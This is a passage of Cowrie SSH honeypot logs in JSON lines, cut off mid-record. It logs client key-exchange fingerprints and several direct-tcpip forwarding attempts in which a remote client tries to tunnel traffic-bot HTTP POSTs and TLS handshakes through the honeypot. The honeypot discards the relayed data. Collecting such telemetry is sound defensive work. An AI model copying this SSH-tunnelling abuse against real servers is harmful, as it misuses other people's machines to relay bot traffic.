{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:25.772102Z","src_ip":"91.92.40.36","session":"a6a6ea4451fe","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:25.959119Z","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:26.083194Z","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:26.190281Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KXV7MGk3ejxeJD9GKD48OA%3D%3DTd95Cyp8t9OaKJJJRwAo6CG0rw1ekljXV9WVKS7yaHs4C2qF1WFGWoPVjTtFRMnyRWpg8YkSa3%2BDqItuFuyxMnyB4CyAhe7SY8XUxOnNE6yWtIhGAQ20nj9uxMztTGJUxz%2FoTkQ1k6sVV1vz5yH45m2kf4DLBUQNhq1RprCdiZiR4dU%2Fij%2BEykaOAfnwkTAXDoSSsHpyxLtbwaGzdPpEcGIDv3GzIAAQk567jeai3RWioDjgmiKzBSX2eh%2B%2FqnIrFTRLO%2FFJERMjq%2B0c6HYQEf3S%2BNsvYFBffza13lFDJdziwH%2BWgh4k%2By8MFs5q5ZpBB3crI6WXFJyV9dLZbo8QcB2TJvtY1SwTj6ZeyLVYhTop0wgPacUkE0pPq8NGJ%2Ft%2FCX%2F3ybuYIiBO2%2FazdgTwZENXWFTIciP9bhkm3fGZES2Dj6K5X%2FPz3I5Jx5%2B01fli%2B1tN%2BUTSQCM8NRpSHggC4Mq0Oed0a1MiE6gSsQEL6468bxBQdRACrD6ya6MiVE27%2BsXRMcbEdwXTPgx466mB8caSJeLx7FsT254yib9e4r9W47ZOGzPZp7vPWc5AURSooSJYc9bilikjSVDGbkqLCjI0%2BZZDF5fqd%2FvxeEofSZa%2FPaw7tAV3CPn0AXQPosuNuGijJOc%2BabSIQ8mvc6yyjdIE6uBOd%2F35Q760DcUNeV70Ll%2FAA2jOmXUafZmzBZDTdsafnq%2FoKnYHaTPJb1%2FTmioExEuk55FApGY%2Fl1MpZUT9uJMrMAdOzvIeYKU3TZKaRi1qbdJ%2FJxO%2BxhWd4NZUoXWKVNVb0i%2Bf2s2iKZ6CjVY8B%2FVHn%2Fbyyv%2FHYQkfsshfGbe4CIkgMhBVuwhkBpUbFP3jLcOVfQ2hlBMeOhmkeodrlMhsSi2Z%2BuyQRyF8hIQblVvbdEOLt2KZOrmsCsA3%2F8Aw4VNKB57Hw4zhr%2BFHsrEv2xhzUGqJ26RnsoE9mzKn0Yy0um35Q%2BMppfqIr6J%2FJJQlKD2dI06abUBiYeOLOeGLr8IPud7H20po%2B7K8j%2BRptkfwoxsq3KKisVX9PryPpFzr8LAT9Nku%2FKbxzUd1CTM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KXV7MGk3ejxeJD9GKD48OA%3D%3DTd95Cyp8t9OaKJJJRwAo6CG0rw1ekljXV9WVKS7yaHs4C2qF1WFGWoPVjTtFRMnyRWpg8YkSa3%2BDqItuFuyxMnyB4CyAhe7SY8XUxOnNE6yWtIhGAQ20nj9uxMztTGJUxz%2FoTkQ1k6sVV1vz5yH45m2kf4DLBUQNhq1RprCdiZiR4dU%2Fij%2BEykaOAfnwkTAXDoSSsHpyxLtbwaGzdPpEcGIDv3GzIAAQk567jeai3RWioDjgmiKzBSX2eh%2B%2FqnIrFTRLO%2FFJERMjq%2B0c6HYQEf3S%2BNsvYFBffza13lFDJdziwH%2BWgh4k%2By8MFs5q5ZpBB3crI6WXFJyV9dLZbo8QcB2TJvtY1SwTj6ZeyLVYhTop0wgPacUkE0pPq8NGJ%2Ft%2FCX%2F3ybuYIiBO2%2FazdgTwZENXWFTIciP9bhkm3fGZES2Dj6K5X%2FPz3I5Jx5%2B01fli%2B1tN%2BUTSQCM8NRpSHggC4Mq0Oed0a1MiE6gSsQEL6468bxBQdRACrD6ya6MiVE27%2BsXRMcbEdwXTPgx466mB8caSJeLx7FsT254yib9e4r9W47ZOGzPZp7vPWc5AURSooSJYc9bilikjSVDGbkqLCjI0%2BZZDF5fqd%2FvxeEofSZa%2FPaw7tAV3CPn0AXQPosuNuGijJOc%2BabSIQ8mvc6yyjdIE6uBOd%2F35Q760DcUNeV70Ll%2FAA2jOmXUafZmzBZDTdsafnq%2FoKnYHaTPJb1%2FTmioExEuk55FApGY%2Fl1MpZUT9uJMrMAdOzvIeYKU3TZKaRi1qbdJ%2FJxO%2BxhWd4NZUoXWKVNVb0i%2Bf2s2iKZ6CjVY8B%2FVHn%2Fbyyv%2FHYQkfsshfGbe4CIkgMhBVuwhkBpUbFP3jLcOVfQ2hlBMeOhmkeodrlMhsSi2Z%2BuyQRyF8hIQblVvbdEOLt2KZOrmsCsA3%2F8Aw4VNKB57Hw4zhr%2BFHsrEv2xhzUGqJ26RnsoE9mzKn0Yy0um35Q%2BMppfqIr6J%2FJJQlKD2dI06abUBiYeOLOeGLr8IPud7H20po%2B7K8j%2BRptkfwoxsq3KKisVX9PryPpFzr8LAT9Nku%2FKbxzUd1CTM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:26.193789Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:26.416107Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4\\x84\\x88\\xd5<\\x9a\\xf5\\x06\\xdcg\\xb1\\xf27h\\x1c\\xbb>\\x10\\x02\\xdb\\x94hjE\\xc7\\xa4\\xda\\x04St\\xcf\\xa0 \\xe4B\\xf8\\x0bN\\xc8\\xf2\\x95\\xf7N\\x8e\\x0e:\\xed@,\\xa5\\xe6\\xb6\\xf7\\x1a)^\\xe4\\x9b\\xccJ\\x00z/\\r\\xea\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8aB\\x97\\xf9\\xd9\\x81|\\xc6\\x81\\xcc\\xd5,\\x9a\\xe4\\xbb+\\r\\xf8DWN\\xfd\\x13x\\xa5\\x1eq\\x1e\\xfa\\xf1\\xe1T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa4\\x84\\x88\\xd5<\\x9a\\xf5\\x06\\xdcg\\xb1\\xf27h\\x1c\\xbb>\\x10\\x02\\xdb\\x94hjE\\xc7\\xa4\\xda\\x04St\\xcf\\xa0 \\xe4B\\xf8\\x0bN\\xc8\\xf2\\x95\\xf7N\\x8e\\x0e:\\xed@,\\xa5\\xe6\\xb6\\xf7\\x1a)^\\xe4\\x9b\\xccJ\\x00z/\\r\\xea\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8aB\\x97\\xf9\\xd9\\x81|\\xc6\\x81\\xcc\\xd5,\\x9a\\xe4\\xbb+\\r\\xf8DWN\\xfd\\x13x\\xa5\\x1eq\\x1e\\xfa\\xf1\\xe1T\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:26.419321Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:26.873162Z","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:27.103923Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8\\x1c\\xeb<=\\xb7f\\xb5\\xf4E\\x16\\xb7\\xf1\\x89v:F\\x8f\\xa6\\xdf;q\\xee\\x1fE\\x1b\\x08\\x85\\x84/k\\x87 \\x1a\\xab\\xc4\\xa5\\xa8Z)_\\xf2v\\xf1\\xd9\\xdfg4\\xb2\\x08^!\\xbfK\\xa3`\\xa9\\x9a\\x19\\x14\\xcc{\\xf9\\xf0V\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\x84t\"\\xd4\\x8c\\xf0)\\xd6otq\\xc20%\\x89\\xee{\\n\\xf5\\x88Y%= \\xbf\\xee\\xfa2%\\x87Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb8\\x1c\\xeb<=\\xb7f\\xb5\\xf4E\\x16\\xb7\\xf1\\x89v:F\\x8f\\xa6\\xdf;q\\xee\\x1fE\\x1b\\x08\\x85\\x84/k\\x87 \\x1a\\xab\\xc4\\xa5\\xa8Z)_\\xf2v\\xf1\\xd9\\xdfg4\\xb2\\x08^!\\xbfK\\xa3`\\xa9\\x9a\\x19\\x14\\xcc{\\xf9\\xf0V\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf8\\x84t\"\\xd4\\x8c\\xf0)\\xd6otq\\xc20%\\x89\\xee{\\n\\xf5\\x88Y%= \\xbf\\xee\\xfa2%\\x87Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:27.107080Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":44220,"dst_ip":"159.203.135.109","dst_port":22,"session":"faa2e50294bb","protocol":"ssh","message":"New connection: 103.27.238.120:44220 (159.203.135.109:22) [session: faa2e50294bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:27.189946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:27.193686Z","src_ip":"103.27.238.120","session":"faa2e50294bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:28:27.451375Z","src_ip":"123.27.168.40","session":"4fa7bf6bd94b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 